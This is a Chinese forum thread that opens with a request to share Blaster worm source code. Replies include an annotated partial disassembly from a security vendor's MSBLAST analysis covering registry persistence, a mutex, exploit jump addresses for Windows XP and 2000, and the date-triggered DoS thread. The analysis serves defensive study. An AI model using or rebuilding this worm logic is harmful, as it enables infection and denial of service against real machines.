大家谁有冲击波病毒的源代码呀,拿出来大家分享呀

Question

瘫痪和病毒无关吧，病毒只利用聊天工具开后门而已。
那是RPC攻击，病毒只8过是伴随而来的产物而已。

Answer 1

MSBLAST蠕虫主要代码分析
------------------------
作者: [email protected] (http://www.nsfocus.com);在注册表中写入自启动项
:00401250 55                      push ebp
:00401251 89E5                    mov ebp, esp
:00401253 81ECAC030000            sub esp, 000003AC
:00401259 56                      push esi
:0040125A 57                      push edi
:0040125B 31F6                    xor esi, esi
:0040125D 6A00                    push 00000000
:0040125F 8D45F8                  lea eax, dword ptr [ebp-08]
:00401262 50                      push eax
:00401263 6A00                    push 00000000
:00401265 683F000F00              push 000F003F
:0040126A 6A00                    push 00000000
:0040126C 6A00                    push 00000000
:0040126E 6A00                    push 00000000
:00401270 685D484000              push 0040485D        ;db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
:00401275 6802000080              push 80000002
:0040127A E80D110000              Call 0040238C        ;ADVAPI32.RegCreateKeyExA
:0040127F 6A32                    push 00000032
:00401281 683C404000              push 0040403C        ;db 'msblast.exe',0
:00401286 6A01                    push 00000001
:00401288 6A00                    push 00000000
:0040128A 6849484000              push 00404849        ;db 'windows auto update',0
:0040128F FF75F8                  push [ebp-08]
:00401292 E801110000              Call 00402398        ;ADVAPI32.RegSetValueExA
:00401297 FF75F8                  push [ebp-08]
:0040129A E8E1100000              Call 00402380        ;ADVAPI32.RegCloseKey
;创建互斥体
:0040129F 6843484000              push 00404843        ;db 'BILLY',0
:004012A4 6A01                    push 00000001
:004012A6 6A00                    push 00000000
:004012A8 E8A3100000              Call 00402350        ;KERNEL32.CreateMutexA
……………………
;选择发送数据的随机数
:00401476 E8BD0E0000              Call 00402338        ;KERNEL32.GetTickCount
:0040147B 50                      push eax        ;用GetTickCount的输出作为srand的随机数种子
:0040147C E8B30F0000              Call 00402434        ;CRTDLL.srand
:00401481 59                      pop ecx
:00401482 E8890F0000              Call 00402410        ;CRTDLL.rand
:00401487 B914000000              mov ecx, 00000014
:0040148C 99                      cdq
:0040148D F7F9                    idiv ecx        ;
:0040148F 83FA0C                  cmp edx, 0000000C
:00401492 7D02                    jge 00401496
:00401494 31F6                    xor esi, esi
:00401496 C7053431400001000000    mov dword ptr [00403134], 00000001
:004014A0 E86B0F0000              Call 00402410        ;CRTDLL.rand
:004014A5 B90A000000              mov ecx, 0000000A
:004014AA 99                      cdq
:004014AB F7F9                    idiv ecx
:004014AD 83FA07                  cmp edx, 00000007
:004014B0 7E0A                    jle 004014BC
:004014B2 C7053431400002000000    mov dword ptr [00403134], 00000002
……………………
:00401954 833D3431400001          cmp dword ptr [00403134], 00000001      ;通过比较这个地址来确定发送针对2000还是XP的攻击代码
:0040195B 750C                    jne 00401969
:0040195D C785ECEAFFFF9D130001    mov dword ptr [ebp+FFFFEAEC], 0100139D  ;使用针对Windows XP的跳转地址
:00401967 EB0A                    jmp 00401973
:00401969 C785ECEAFFFF9F751800    mov dword ptr [ebp+FFFFEAEC], 0018759F  ;使用针对Windows 2000的跳转地址
……………………
;判断日期
:004014FC 6A03                    push 00000003        ;size of buffer
:004014FE 8D45F4                  lea eax, dword ptr [ebp-0C]
:00401501 50                      push eax        ;buffer
:00401502 683C484000              push 0040483C        ;db 'd',0    取日期
:00401507 6A00                    push 00000000
:00401509 6A00                    push 00000000
:0040150B 6809040000              push 00000409        ;"0409"="en-us;英语 (美国)"
;从GetDateFormatA的Locale参数来看，作者使用的操作系统的区域设置是美国。
:00401510 E8E70D0000              Call 004022FC        ;KERNEL32.GetDateFormatA
:00401515 6A03                    push 00000003
:00401517 8D45F0                  lea eax, dword ptr [ebp-10]
:0040151A 50                      push eax
:0040151B 683A484000              push 0040483A        ;db 'M',0    取月份
:00401520 6A00                    push 00000000
:00401522 6A00                    push 00000000
:00401524 6809040000              push 00000409
:00401529 E8CE0D0000              Call 004022FC        ;KERNEL32.GetDateFormatA
:0040152E 8D45F4                  lea eax, dword ptr [ebp-0C]
:00401531 50                      push eax
:00401532 E8790E0000              Call 004023B0        ;CRTDLL.atoi
:00401537 59                      pop ecx
:00401538 83F80F                  cmp eax, 0000000F    ;比较日期是否大于15日
:0040153B 7F0F                    jg 0040154C        ;日期大于15日则跳到创建DoS线程
:0040153D 8D7DF0                  lea edi, dword ptr [ebp-10]
:00401540 57                      push edi
:00401541 E86A0E0000              Call 004023B0        ;CRTDLL.atoi
:00401546 59                      pop ecx
:00401547 83F808                  cmp eax, 00000008    ;比较月份是否大于8月
:0040154A 7E16                    jle 00401562        ;月份大于8月则往下执行创建DoS线程
:0040154C 8D45FC                  lea eax, dword ptr [ebp-04]
:0040154F 50                      push eax
:00401550 6A00                    push 00000000
:00401552 6A00                    push 00000000
:00401554 68C11E4000              push 00401EC1        ;DoS子函数
:00401559 6A00                    push 00000000
:0040155B 6A00                    push 00000000
:0040155D E8120E0000              Call 00402374        ;KERNEL32.CreateThread
……………………
;处理地址子函数，转换结果保存在eax
:00401E8B 55                      push ebp
:00401E8C 89E5                    mov ebp, esp
:00401E8E 56                      push esi
:00401E8F 57                      push edi
:00401E90 FF7508                  push [ebp+08]
:00401E93 E8D8020000              Call 00402170        ;WS2_32.inet_addr
:00401E98 89C7                    mov edi, eax
:00401E9A 31F6                    xor esi, esi
:00401E9C 83FFFF                  cmp edi, FFFFFFFF
:00401E9F 751A                    jne 00401EBB        ;如果是IP地址就直接跳过去，如果不是就先解析域名
:00401EA1 FF7508                  push [ebp+08]
:00401EA4 E827030000              Call 004021D0        ;WS2_32.gethostbyname
:00401EA9 89C6                    mov esi, eax
:00401EAB 09F6                    or esi, esi
:00401EAD 7505                    jne 00401EB4
:00401EAF 83C8FF                  or eax, FFFFFFFF
:00401EB2 EB09                    jmp 00401EBD
:00401EB4 8B460C                  mov eax, dword ptr [esi+0C]
:00401EB7 8B00                    mov eax, dword ptr [eax]
:00401EB9 8B38                    mov edi, dword ptr [eax]
:00401EBB 89F8                    mov eax, edi
:00401EBD 5F                      pop edi
:00401EBE 5E                      pop esi
:00401EBF 5D                      pop ebp
:00401EC0 C3                      ret

Answer 2

http://www.nsfocus.net/index.php?act=advisory&do=view&adv_id=28